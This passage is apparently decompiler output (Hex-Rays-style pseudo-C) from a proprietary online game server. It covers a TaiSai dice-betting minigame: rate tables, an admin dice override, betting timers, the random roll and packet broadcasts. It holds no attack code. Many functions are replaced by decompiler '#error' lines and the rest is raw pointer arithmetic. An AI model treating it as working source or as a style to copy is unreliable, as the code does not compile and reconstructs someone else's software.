* *(_DWORD *)pTaiSaiBetting + 23420) += *(_DWORD *)(pTaiSaiBetting + 4); result = 1; } else { result = 0; } } else { result = 0; } return result; } //----- (004CBF70) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_SetCTDiceTaiSaiWin(int this, unsigned __int16 nWinCnt) { char result; // al@2 if ( nWinCnt ) { CCharacterTitleZone::CT_WinDiceTaiSaiWin((CCharacterTitleZone *)(this + 89936), nWinCnt); result = 1; } else { result = 0; } return result; } //----- (004CBF90) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_SetCTDiceTaiSaiSet(int this) { CCharacterTitleZone::CT_WinDiceTaiSaiSet((CCharacterTitleZone *)(this + 89936)); return 1; } //----- (004CBFA0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_InitDiceInfo(ShineObjectClass::ShineMiniHouse *this) { ShineObjectClass::ShineMiniHouse *v1; // esi@1 char *v2; // ecx@1 int v3; // eax@1 signed int v4; // edx@1 unsigned int v5; // edi@3 int v6; // ebp@3 void *v7; // eax@4 v1 = this; *(_DWORD *)&this->smh_DiceTaiSai.ActiveDice.nActiveDiceTaiSaiKey.binary.gap0[0] = -1; this->smh_DiceTaiSai.ActiveDice.nActiveDiceTaiSaiKey.binary._bf4 = -1; this->smh_DiceTaiSai.ActiveDice.nGameNPCType = 0; this->smh_DiceTaiSai.ActiveDice.ItemID = -1; this->smh_DiceTaiSai.ActiveDice.pActiveDiceTaiSaiCell = 0; this->smh_DiceTaiSai.ActiveDice.UseMinLv = 0; this->smh_DiceTaiSai.ActiveDice.GetSysRate = 0; this->smh_DiceTaiSai.ActiveDice.GetMasterRate = 0; this->smh_DiceTaiSai.ActiveDice.MinGetMoney = 0; this->smh_DiceTaiSai.ActiveDice.MaxBetMoney = 0; this->smh_DiceTaiSai.ActiveDice.CastTime = 0; this->smh_DiceTaiSai.ActiveDice.DelayTime = 0; this->smh_DiceTaiSai.ActiveDice.WinCode[0] = 0; this->smh_DiceTaiSai.ActiveDice.WinCode[1] = 0; this->smh_DiceTaiSai.ActiveDice.WinCode[2] = 0; this->smh_DiceTaiSai.ActiveDice.LoseCode[0] = 0; this->smh_DiceTaiSai.ActiveDice.LoseCode[1] = 0; this->smh_DiceTaiSai.ActiveDice.LoseCode[2] = 0; this->smh_DiceTaiSai.Reserve.bIsCreateDice = 0; this->smh_DiceTaiSai.Reserve.bIsDeleteDice = 0; this->smh_DiceTaiSai.Reserve.bIsBlowGame = 0; this->smh_DiceTaiSai.Reserve.bIsLeaveOwner = 0; this->smh_DiceTaiSai.nGameMode = 0; this->smh_DiceTaiSai.bIsActiveTimerCheckTime = 0; this->smh_DiceTaiSai.nTimerCheckTime = 0; this->smh_DiceTaiSai.bIsAdminDice = 0; *(_DWORD *)&this->smh_DiceTaiSai.History[0].nNumber[0] = 0; *(_DWORD *)&this->smh_DiceTaiSai.History[1].nNumber[1] = 0; *(_DWORD *)&this->smh_DiceTaiSai.History[2].nNumber[2] = 0; *(_DWORD *)&this->smh_DiceTaiSai.History[4].nNumber[0] = 0; *(_DWORD *)&this->smh_DiceTaiSai.History[5].nNumber[1] = 0; this->smh_DiceTaiSai.History[6].nNumber[2] = 0; *(_WORD *)&this->smh_DiceTaiSai.CurrentRollingDice.nNumber[0] = 0; this->smh_DiceTaiSai.CurrentRollingDice.nNumber[2] = 0; this->smh_DiceTaiSai.nGamerCnt = 0; v2 = (char *)this->smh_DiceTaiSai.pRank; v3 = (int)&v1->smh_DiceTaiSai.GamerInfo[0].nTotalWinCnt; v4 = 99; do { *(_DWORD *)(v3 - 4) = 0; *(_DWORD *)v3 = 0; *(_DWORD *)v2 = 0; v2 += 4; v3 += 8; --v4; } while ( v4 ); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)&v1->gap0[0] + 468))(v1); v1->smh_DiceTaiSai.nDiceRateSum = 0; v5 = 0; v6 = (int)v1->smh_DiceTaiSai.nDiceRate; while ( 1 ) { v7 = CDataReader::GetRecord(&gMiniHouseDiceRate, v5); if ( !v7 ) break; *(_WORD *)v6 = *(_WORD *)v7; ++v5; v6 += 2; v1->smh_DiceTaiSai.nDiceRateSum += *(_DWORD *)v7; if ( (signed int)v5 >= 216 ) return 1; } return 0; } //----- (004CC110) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_InitActiveDiceInfo(ShineObjectClass::ShineMiniHouse *this, ItemInventoryCell *pInvenCell) { ItemInventoryCell *v2; // edi@1 ShineObjectClass::ShineMiniHouse *v3; // esi@1 char result; // al@2 unsigned __int16 v5; // bp@3 unsigned int v6; // eax@6 void *v7; // ecx@7 unsigned int v8; // edi@14 int v9; // ebp@14 void *v10; // eax@15 unsigned int v11; // [sp+0h] [bp-4h]@4 unsigned int pInvenCella; // [sp+8h] [bp+4h]@6 v2 = pInvenCell; v3 = this; if ( pInvenCell ) { v5 = pInvenCell->iic_Item.iti_itemstruct.itemid; if ( gMiniHouseDiecGame.m_pHead ) v11 = gMiniHouseDiecGame.m_pHead->nNumOfRecord; else v11 = 0; v6 = 0; pInvenCella = 0; if ( (signed int)v11 > 0 ) { while ( 1 ) { v7 = CDataReader::GetRecord(&gMiniHouseDiecGame, v6); if ( *(_WORD *)v7 == v5 ) break; ++pInvenCella; if ( (signed int)pInvenCella >= (signed int)v11 ) break; v6 = pInvenCella; } v6 = pInvenCella; } else { v7 = 0; } if ( v6 != v11 ) { v3->smh_DiceTaiSai.ActiveDice.nGameNPCType = v6; v3->smh_DiceTaiSai.ActiveDice.ItemID = v5; *(_DWORD *)&v3->smh_DiceTaiSai.ActiveDice.nActiveDiceTaiSaiKey.binary.gap0[0] = *(_DWORD *)&v2->iic_Item.iti_registnum.binary.gap0[0]; v3->smh_DiceTaiSai.ActiveDice.nActiveDiceTaiSaiKey.binary._bf4 = v2->iic_Item.iti_registnum.binary._bf4; v3->smh_DiceTaiSai.ActiveDice.pActiveDiceTaiSaiCell = v2; v3->smh_DiceTaiSai.ActiveDice.UseMinLv = *((_WORD *)v7 + 1); v3->smh_DiceTaiSai.ActiveDice.GetSysRate = *((_WORD *)v7 + 2); v3->smh_DiceTaiSai.ActiveDice.GetMasterRate = *((_WORD *)v7 + 3); v3->smh_DiceTaiSai.ActiveDice.MinGetMoney = *((_DWORD *)v7 + 2); v3->smh_DiceTaiSai.ActiveDice.MaxBetMoney = *((_DWORD *)v7 + 3); v3->smh_DiceTaiSai.ActiveDice.CastTime = ((signed int)((unsigned __int64)(10 * *((_WORD *)v7 + 8) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(10 * *((_WORD *)v7 + 8) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31); v3->smh_DiceTaiSai.ActiveDice.DelayTime = ((signed int)((unsigned __int64)(10 * *((_WORD *)v7 + 9) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(10 * *((_WORD *)v7 + 9) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31); v3->smh_DiceTaiSai.ActiveDice.WinCode[0] = *((_DWORD *)v7 + 5); v3->smh_DiceTaiSai.ActiveDice.WinCode[1] = *((_DWORD *)v7 + 6); v3->smh_DiceTaiSai.ActiveDice.WinCode[2] = *((_DWORD *)v7 + 7); v3->smh_DiceTaiSai.ActiveDice.LoseCode[0] = *((_DWORD *)v7 + 8); v3->smh_DiceTaiSai.ActiveDice.LoseCode[1] = *((_DWORD *)v7 + 9); v3->smh_DiceTaiSai.ActiveDice.LoseCode[2] = *((_DWORD *)v7 + 10); v3->smh_DiceTaiSai.Reserve.bIsCreateDice = 0; v3->smh_DiceTaiSai.Reserve.bIsDeleteDice = 0; v3->smh_DiceTaiSai.Reserve.bIsBlowGame = 0; v3->smh_DiceTaiSai.Reserve.bIsLeaveOwner = 0; v3->smh_DiceTaiSai.nGameMode = 0; v3->smh_DiceTaiSai.bIsActiveTimerCheckTime = 0; v3->smh_DiceTaiSai.nTimerCheckTime = 0; v3->smh_DiceTaiSai.bIsAdminDice = 0; *(_DWORD *)&v3->smh_DiceTaiSai.History[0].nNumber[0] = 0; *(_DWORD *)&v3->smh_DiceTaiSai.History[1].nNumber[1] = 0; *(_DWORD *)&v3->smh_DiceTaiSai.History[2].nNumber[2] = 0; *(_DWORD *)&v3->smh_DiceTaiSai.History[4].nNumber[0] = 0; *(_DWORD *)&v3->smh_DiceTaiSai.History[5].nNumber[1] = 0; v3->smh_DiceTaiSai.History[6].nNumber[2] = 0; *(_WORD *)&v3->smh_DiceTaiSai.CurrentRollingDice.nNumber[0] = 0; v3->smh_DiceTaiSai.CurrentRollingDice.nNumber[2] = 0; (*(void (__thiscall **)(_DWORD))(*(_DWORD *)&v3->gap0[0] + 468))(v3); v3->smh_DiceTaiSai.nDiceRateSum = 0; v8 = 0; v9 = (int)v3->smh_DiceTaiSai.nDiceRate; while ( 1 ) { v10 = CDataReader::GetRecord(&gMiniHouseDiceRate, v8); if ( !v10 ) break; *(_WORD *)v9 = *(_WORD *)v10; ++v8; v9 += 2; v3->smh_DiceTaiSai.nDiceRateSum += *(_DWORD *)v10; if ( (signed int)v8 >= 216 ) return 1; } } result = 0; } else { result = 0; } return result; } //----- (004CC330) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsActiveDice(ShineObjectClass::ShineMiniHouse *this, ItemInventoryCell *pDiceCell) { char result; // al@2 if ( pDiceCell && this->smh_DiceTaiSai.ActiveDice.pActiveDiceTaiSaiCell == pDiceCell ) result = (*(int (**)(void))(*(_DWORD *)&this->gap0[0] + 532))() != 0; else result = 0; return result; } //----- (004CC360) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsActiveDice(ShineObjectClass::ShineMiniHouse *this, SHINE_ITEM_REGISTNUMBER nDiceKey) { char result; // al@2 if ( (nDiceKey.binary._bf4 & *(_DWORD *)&nDiceKey) == -1 || *(_QWORD *)&this->smh_DiceTaiSai.ActiveDice.nActiveDiceTaiSaiKey.binary.gap0[0] != nDiceKey ) result = 0; else result = (*(int (**)(void))(*(_DWORD *)&this->gap0[0] + 532))() != 0; return result; } //----- (004CC3A0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetDiceFix(ShineObjectClass::ShineMiniHouse *this, DiceTaiSaiInfo *pDiceNum) { ShineObjectClass::ShineMiniHouse *v2; // esi@1 DICE_TAISAI_GAME_STATUS v3; // eax@3 char result; // al@5 int v5; // esi@6 v2 = this; if ( pDiceNum && (unsigned __int8)(*(int (**)(void))(*(_DWORD *)&this->gap0[0] + 532))() && ((v3 = v2->smh_DiceTaiSai.nGameStatus) == 0 || v3 == 1) ) { v2->smh_DiceTaiSai.bIsAdminDice = 1; v5 = (int)&v2->smh_DiceTaiSai.CurrentRollingDice; *(_WORD *)v5 = *(_WORD *)&pDiceNum->nNumber[0]; *(_BYTE *)(v5 + 2) = pDiceNum->nNumber[2]; result = 1; } else { result = 0; } return result; } //----- (004CC3F0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetDiceProbability(ShineObjectClass::ShineMiniHouse *this, DiceTaiSaiInfo *pDiceNum, unsigned __int16 nDiceRate) { unsigned int v3; // edi@1 ShineObjectClass::ShineMiniHouse *v4; // esi@1 char *v5; // ebx@2 void *v6; // eax@3 DiceTaiSaiInfo *v8; // eax@9 unsigned __int16 v9; // cx@9 v3 = (unsigned int)pDiceNum; v4 = this; if ( !pDiceNum ) { this->smh_DiceTaiSai.nDiceRateSum = (unsigned int)pDiceNum; v5 = (char *)this->smh_DiceTaiSai.nDiceRate; while ( 1 ) { v6 = CDataReader::GetRecord(&gMiniHouseDiceRate, v3); if ( !v6 ) break; *(_WORD *)v5 = *(_WORD *)v6; ++v3; v5 += 2; v4->smh_DiceTaiSai.nDiceRateSum += *(_DWORD *)v6; if ( (signed int)v3 >= 216 ) return 1; } return 0; } if ( !(unsigned __int8)(*(int (**)(void))(*(_DWORD *)&this->gap0[0] + 532))() || (pDiceNum = 0, !DiceTaiSai::ConvertDice(&gMiniHouseDiceTaiSai, (char *)v3, (int *)&pDiceNum)) ) return 0; v8 = pDiceNum; v9 = nDiceRate; v4->smh_DiceTaiSai.nDiceRateSum += nDiceRate - v4->smh_DiceTaiSai.nDiceRate[(_DWORD)pDiceNum]; v4->smh_DiceTaiSai.nDiceRate[(_DWORD)v8] = v9; return 1; } //----- (004CC4B0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_ClearDiceBettingInfo(ShineObjectClass::ShineMiniHouse *this) { char *v1; // eax@1 signed int v2; // esi@1 int v3; // edx@3 int v4; // esi@3 int v5; // edi@3 __int16 v6; // bx@3 char *v7; // ecx@3 int v8; // eax@3 unsigned int v10; // [sp+0h] [bp-4h]@0 this->smh_DiceTaiSai.nBetSumMoney = 0i64; v1 = (char *)&this->smh_DiceTaiSai.BettingInfo[0].nPlayerCnt; v2 = 52; do { *((_DWORD *)v1 - 2) = 0; *((_DWORD *)v1 - 1) = 0; *(_WORD *)v1 = 0; v1 += 16; --v2; } while ( v2 ); this->smh_DiceTaiSai.nGameStatus = 0; v8 = *(_DWORD *)&this->smh_DiceTaiSai.History[0].nNumber[0]; v3 = *(_DWORD *)&this->smh_DiceTaiSai.History[1].nNumber[1]; v4 = *(_DWORD *)&this->smh_DiceTaiSai.History[2].nNumber[2]; v5 = *(_DWORD *)&this->smh_DiceTaiSai.History[4].nNumber[0]; v6 = *(_WORD *)&this->smh_DiceTaiSai.History[5].nNumber[1]; v7 = (char *)&this->smh_DiceTaiSai.History[1]; *(_DWORD *)v7 = v8; *((_DWORD *)v7 + 1) = v3; *((_DWORD *)v7 + 2) = v4; *((_DWORD *)v7 + 3) = v5; *((_WORD *)v7 + 8) = v6; __security_check_cookie(v10); return v8; } //----- (004CC530) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetDiceHistory(ShineObjectClass::ShineMiniHouse *this) { char *v1; // eax@1 __int16 v2; // si@1 char v3; // dl@1 char *v4; // ecx@1 v1 = (char *)&this->smh_DiceTaiSai.CurrentRollingDice; v2 = *(_WORD *)&this->smh_DiceTaiSai.CurrentRollingDice.nNumber[0]; v3 = this->smh_DiceTaiSai.CurrentRollingDice.nNumber[2]; v4 = (char *)this->smh_DiceTaiSai.History; *(_WORD *)v4 = v2; v4[2] = v3; *(_WORD *)v1 = 0; v1[2] = 0; return 1; } //----- (004CC560) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_ClearGamerBettingInfo(ShineObjectClass::ShineMiniHouse *this) { ShineObjectClass::ShineMiniHouse *v1; // ebx@1 signed int v2; // edi@1 char *v3; // esi@2 v1 = this; v2 = 0; if ( this->smh_DiceTaiSai.nGamerCnt ) { v3 = (char *)this->smh_DiceTaiSai.GamerInfo; do { if ( *(_DWORD *)v3 ) (*(void (**)(void))(**(_DWORD **)v3 + 416))(); ++v2; v3 += 8; } while ( v2 < v1->smh_DiceTaiSai.nGamerCnt ); } return 1; } //----- (004CC5A0) -------------------------------------------------------- signed __int16 __stdcall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_BroadEnter(int a1) { return 7304; } //----- (004CC5B0) -------------------------------------------------------- #error "4CC5B0: undefined or illegal type '#331' (funcsize=206)" //----- (004CC860) -------------------------------------------------------- #error "4CC860: undefined or illegal type '#331' (funcsize=153)" //----- (004CCA50) -------------------------------------------------------- #error "4CCA50: undefined or illegal type '#331' (funcsize=57)" //----- (004CCAE0) -------------------------------------------------------- #error "4CCAE0: undefined or illegal type '#331' (funcsize=71)" //----- (004CCBD0) -------------------------------------------------------- #error "4CCBD0: undefined or illegal type '#331' (funcsize=87)" //----- (004CCCD0) -------------------------------------------------------- signed __int16 __stdcall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_Out(int a1) { return 7317; } //----- (004CCCE0) -------------------------------------------------------- #error "4CCCE0: undefined or illegal type '#331' (funcsize=236)" //----- (004CCFD0) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_BroadOut(#331 *this, #331 *a2, char bReserve) { return 7317; } //----- (004CCFE0) -------------------------------------------------------- #error "4CCFE0: undefined or illegal type '#331' (funcsize=75)" //----- (004CD0D0) -------------------------------------------------------- signed __int16 __stdcall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_BroadModeChange(int a1) { return 7332; } //----- (004CD0E0) -------------------------------------------------------- #error "4CD0E0: undefined or illegal type '#331' (funcsize=86)" //----- (004CD1C0) -------------------------------------------------------- #error "4CD1C0: undefined or illegal type '#331' (funcsize=208)" //----- (004CD450) -------------------------------------------------------- #error "4CD450: undefined or illegal type '#331' (funcsize=46)" //----- (004CD4D0) -------------------------------------------------------- #error "4CD4D0: undefined or illegal type '#331' (funcsize=154)" //----- (004CD6D0) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_BroadSetTimer(#331 *this, #331 *pTaiSaiBetting, DiceTaiSaiBetting *nBettingType) { return 7349; } //----- (004CD6E0) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadSetTimer(ShineObjectClass::ShineMiniHouse *this, DiceTaiSaiBetting *pTaiSaiBetting, DICE_TAISAI_BETTING_TYPE nBettingType) { signed int v3; // ebx@1 ShineObjectClass::ShineMiniHouse *v4; // edi@1 DICE_TAISAI_GAME_STATUS v6; // eax@4 int v7; // ecx@6 int v8; // eax@6 signed int v9; // edx@6 int v10; // esi@7 int v11; // ebp@7 char *v12; // eax@10 unsigned __int16 v13; // cx@10 int v14; // esi@12 char v15; // al@15 int v16; // eax@16 signed int v17; // eax@21 char *v18; // ecx@21 char *v19; // eax@25 int v20; // esi@27 int v21; // eax@32 int pTaiSaiBettinga; // [sp+Ch] [bp+4h]@11 int pTaiSaiBettingb; // [sp+Ch] [bp+4h]@26 v3 = 0; v4 = this; if ( !pTaiSaiBetting || (signed int)nBettingType >= 2 ) return 7349; v6 = this->smh_DiceTaiSai.nGameStatus; if ( nBettingType ) { if ( v6 != 1 ) return 7349; v17 = 0; v18 = (char *)&this->smh_DiceTaiSai.BettingInfo[0].nPlayerCnt; while ( *(_WORD *)v18 <= 0u ) { ++v17; v18 += 16; if ( v17 >= 52 ) { if ( !v4->smh_DiceTaiSai.nGameMode ) { v19 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -21460; v19[2] = 0; *(_WORD *)(v19 + 3) = 0; *(_DWORD *)(v19 + 5) = 0; if ( v4->smh_DiceTaiSai.nGamerCnt ) { pTaiSaiBettingb = (int)v4->smh_DiceTaiSai.GamerInfo; do { v20 = *(_DWORD *)pTaiSaiBettingb; if ( *(_DWORD *)pTaiSaiBettingb && (unsigned __int16)(*(int (__thiscall **)(int))(*(_DWORD *)v20 + 312))(*(_DWORD *)pTaiSaiBettingb) == *(_WORD *)&v4->gap0[4] && (unsigned __int8)(*(int (__thiscall **)(int, signed int))(*(_DWORD *)v20 + 368))(v20, 1) ) { if ( ProtocolPacket::pp_SetPacketLen(&gpp, 9) ) { v21 = (*(int (__thiscall **)(int))(*(_DWORD *)v20 + 760))(v20); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v21 + 12))(v21, v20, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadSetTimer : Packet Too Long", 9); } } ++v3; pTaiSaiBettingb += 8; } while ( v3 < v4->smh_DiceTaiSai.nGamerCnt ); } } v4->smh_DiceTaiSai.nGameStatus = 0; return 7344; } } return 7344; } if ( v6 ) return 7344; v7 = 0; v8 = (int)&v4->smh_DiceTaiSai.BettingInfo[2].nPlayerCnt; v9 = 13; do { v10 = *(_WORD *)(v8 + 16) + *(_WORD *)(v8 - 16) + *(_WORD *)(v8 - 32); v11 = v7 + *(_WORD *)v8; v8 += 64; --v9; v7 = v10 + v11; } while ( v9 ); if ( v7 != 1 ) return 7349; if ( !v4->smh_DiceTaiSai.nGameMode ) { v12 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -21460; v12[2] = 1; v4->smh_DiceTaiSai.bIsActiveTimerCheckTime = 1; v13 = v4->smh_DiceTaiSai.ActiveDice.CastTime; v4->smh_DiceTaiSai.nTimerCheckTime = clockwatch.cw_CurrTick + v4->smh_DiceTaiSai.ActiveDice.CastTime; *(_WORD *)(v12 + 3) = v13; *(_DWORD *)(v12 + 5) = v4->smh_DiceTaiSai.nTimerCheckTime - clockwatch.cw_CurrTick; if ( v4->smh_DiceTaiSai.nGamerCnt ) { pTaiSaiBettinga = (int)v4->smh_DiceTaiSai.GamerInfo; do { v14 = *(_DWORD *)pTaiSaiBettinga; if ( *(_DWORD *)pTaiSaiBettinga && (unsigned __int16)(*(int (__thiscall **)(int))(*(_DWORD *)v14 + 312))(*(_DWORD *)pTaiSaiBettinga) == *(_WORD *)&v4->gap0[4] && (unsigned __int8)(*(int (__thiscall **)(int, signed int))(*(_DWORD *)v14 + 368))(v14, 1) ) { v15 = ProtocolPacket::pp_SetPacketLen(&gpp, 9); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v15, "ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadSetTimer : Packet Too Long", 9) ) { v16 = (*(int (__thiscall **)(int))(*(_DWORD *)v14 + 760))(v14); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v16 + 12))(v16, v14, &gpp); } } ++v3; pTaiSaiBettinga += 8; } while ( v3 < v4->smh_DiceTaiSai.nGamerCnt ); } } v4->smh_DiceTaiSai.nGameStatus = 1; return 7344; } //----- (004CD950) -------------------------------------------------------- #error "4CD950: undefined or illegal type '#331' (funcsize=137)" //----- (004CDAA0) -------------------------------------------------------- #error "4CDAA0: undefined or illegal type '#331' (funcsize=167)" //----- (004CDC60) -------------------------------------------------------- #error "4CDC60: undefined or illegal type '#331' (funcsize=78)" //----- (004CDD50) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_BroadBettingCancel(#331 *this, #331 *a2, DiceTaiSaiBetting *pTaiSaiBetting) { return 7365; } //----- (004CDD60) -------------------------------------------------------- #error "4CDD60: undefined or illegal type '#331' (funcsize=94)" //----- (004CDE50) -------------------------------------------------------- #error "4CDE50: undefined or illegal type '#331' (funcsize=132)" //----- (004CDFC0) -------------------------------------------------------- #error "4CDFC0: undefined or illegal type '#331' (funcsize=78)" //----- (004CE0B0) -------------------------------------------------------- signed __int16 __stdcall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_BroadEmotion_DiceRoll(int pDBAck) { return 7380; } //----- (004CE0C0) -------------------------------------------------------- #error "4CE0C0: undefined or illegal type '#331' (funcsize=78)" //----- (004CE190) -------------------------------------------------------- signed __int16 __cdecl ShineObjectClass::ShineObject::so_mh_DiceTaiSai_CanAutoDiceRoll() { return 7380; } //----- (004CE1A0) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_CanAutoDiceRoll(ShineObjectClass::ShineMiniHouse *this) { ShineObjectClass::ShineMiniHouse *v1; // esi@1 unsigned __int16 result; // ax@2 v1 = this; if ( (unsigned __int8)(*(int (**)(void))(*(_DWORD *)&this->gap0[0] + 532))() ) { if ( v1->smh_DiceTaiSai.nGameMode ) { result = 7386; } else { if ( v1->smh_DiceTaiSai.nGameStatus == 1 ) { if ( HIDWORD(v1->smh_DiceTaiSai.nBetSumMoney) || LODWORD(v1->smh_DiceTaiSai.nBetSumMoney) ) result = 7376; else result = 7384; } else { result = 7383; } } } else { result = 7385; } return result; } //----- (004CE200) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_DiceRoll(ShineObjectClass::ShineMiniHouse *this) { ShineObjectClass::ShineMiniHouse *v1; // edi@1 unsigned int v3; // edx@11 int v4; // eax@11 int v5; // edx@11 int v6; // esi@11 int v7; // ecx@12 int v8; // edx@13 int v9; // ecx@13 int v10; // edx@14 int v11; // ecx@14 int v12; // edx@15 int v13; // ecx@15 int v14; // edx@16 int v15; // ecx@16 int v16; // edx@17 int v17; // ecx@17 v1 = this; if ( !(unsigned __int8)(*(int (**)(void))(*(_DWORD *)&this->gap0[0] + 532))() ) return 7385; if ( v1->smh_DiceTaiSai.nGameStatus != 1 ) return 7383; if ( !HIDWORD(v1->smh_DiceTaiSai.nBetSumMoney) && !LODWORD(v1->smh_DiceTaiSai.nBetSumMoney) ) return 7384; if ( v1->smh_DiceTaiSai.bIsAdminDice == 1 ) { v1->smh_DiceTaiSai.bIsAdminDice = 0; LABEL_10: v1->smh_DiceTaiSai.nGameStatus = 2; return 7376; } v3 = rand() % v1->smh_DiceTaiSai.nDiceRateSum; v4 = (int)&v1->smh_DiceTaiSai.nDiceRate[1]; v5 = v3 + 1; v6 = 0; do { v7 = *(_WORD *)(v4 - 2); if ( v5 <= v7 ) break; v8 = v5 - v7; v9 = *(_WORD *)v4; if ( v8 <= v9 ) { ++v6; break; } v10 = v8 - v9; v11 = *(_WORD *)(v4 + 2); if ( v10 <= v11 ) { v6 += 2; break; } v12 = v10 - v11; v13 = *(_WORD *)(v4 + 4); if ( v12 <= v13 ) { v6 += 3; break; } v14 = v12 - v13; v15 = *(_WORD *)(v4 + 6); if ( v14 <= v15 ) { v6 += 4; break; } v16 = v14 - v15; v17 = *(_WORD *)(v4 + 8); if ( v16 <= v17 ) { v6 += 5; break; } v6 += 6; v5 = v16 - v17; v4 += 12; } while ( v6 < 216 ); if ( DiceTaiSai::ConvertDice(&gMiniHouseDiceTaiSai, v6, v1->smh_DiceTaiSai.CurrentRollingDice.nNumber) ) goto LABEL_10; return 7380; } //----- (004CE310) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadDiceRoll(ShineObjectClass::ShineMiniHouse *this) { char *v1; // ebx@1 ShineObjectClass::ShineMiniHouse *v2; // ebp@1 int v3; // esi@3 int v4; // edi@7 unsigned __int64 v5; // qax@9 int v6; // eax@11 char v7; // al@18 int v8; // eax@19 int v9; // ecx@20 bool v10; // sf@20 unsigned __int8 v11; // of@20 const char *v13; // [sp-Ch] [bp-20h]@16 char *v14; // [sp+Ch] [bp-8h]@2 int i; // [sp+10h] [bp-4h]@1 v1 = gpp.pp_Buffer; v2 = this; *(_WORD *)gpp.pp_Buffer = -21470; i = 0; if ( this->smh_DiceTaiSai.nGamerCnt ) { v14 = (char *)this->smh_DiceTaiSai.GamerInfo; do { *((_WORD *)v1 + 1) = 7392; v3 = *(_DWORD *)v14; if ( !*(_DWORD *)v14 || (unsigned __int16)(*(int (__thiscall **)(int))(*(_DWORD *)v3 + 312))(*(_DWORD *)v14) != *(_WORD *)&v2->gap0[4] ) goto LABEL_20; if ( (unsigned __int8)(*(int (__thiscall **)(int, signed int))(*(_DWORD *)v3 + 368))(v3, 1) ) { v4 = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 412))(v3); if ( v4 ) { LODWORD(v5) = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 1056))(v3); if ( *(_DWORD *)(v4 + 212) <= v5 ) { v6 = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 1916))(v3); if ( v6 ) { if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v6 + 16))(v6) == 1 ) { *((_WORD *)v1 + 1) = 7396; v13 = "ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadDiceRoll : Packet Too Long"; } else { v13 = "ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadBettingCancel : Packet Too Long"; } v7 = ProtocolPacket::pp_SetPacketLen(&gpp, 4); if ( AssertClass::operator__(&shineassert, (unsigned __int8)v7, v13, 4) ) goto LABEL_20; LABEL_19: v8 = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 760))(v3); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v8 + 12))(v8, v3, &gpp); goto LABEL_20; } *((_WORD *)v1 + 1) = 7396; } else { *((_WORD *)v1 + 1) = 7395; } } else { *((_WORD *)v1 + 1) = 7394; } } else { *((_WORD *)v1 + 1) = 7393; } if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) goto LABEL_19; AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadDiceRoll : Packet Too Long", 4); LABEL_20: v9 = v2->smh_DiceTaiSai.nGamerCnt; v11 = __OFSUB__(i + 1, v9); v10 = i++ + 1 - v9 < 0; v14 += 8; } while ( v10 ^ v11 ); } return 7376; } //----- (004CE480) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_MoneyResult_DiceRoll(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_DICE_TAISAI_DB_DICE_ROLL_RESULT_ACK *pDBAck) { ShineObjectClass::ShineMiniHouse *v2; // edi@1 signed int v3; // ebp@3 int v4; // ebx@4 int v5; // esi@5 int v6; // eax@13 DebugLogging *v7; // edi@14 _iobuf *v8; // eax@16 int v9; // eax@19 int v10; // eax@20 int v11; // edx@21 int v12; // ecx@21 char *v14; // 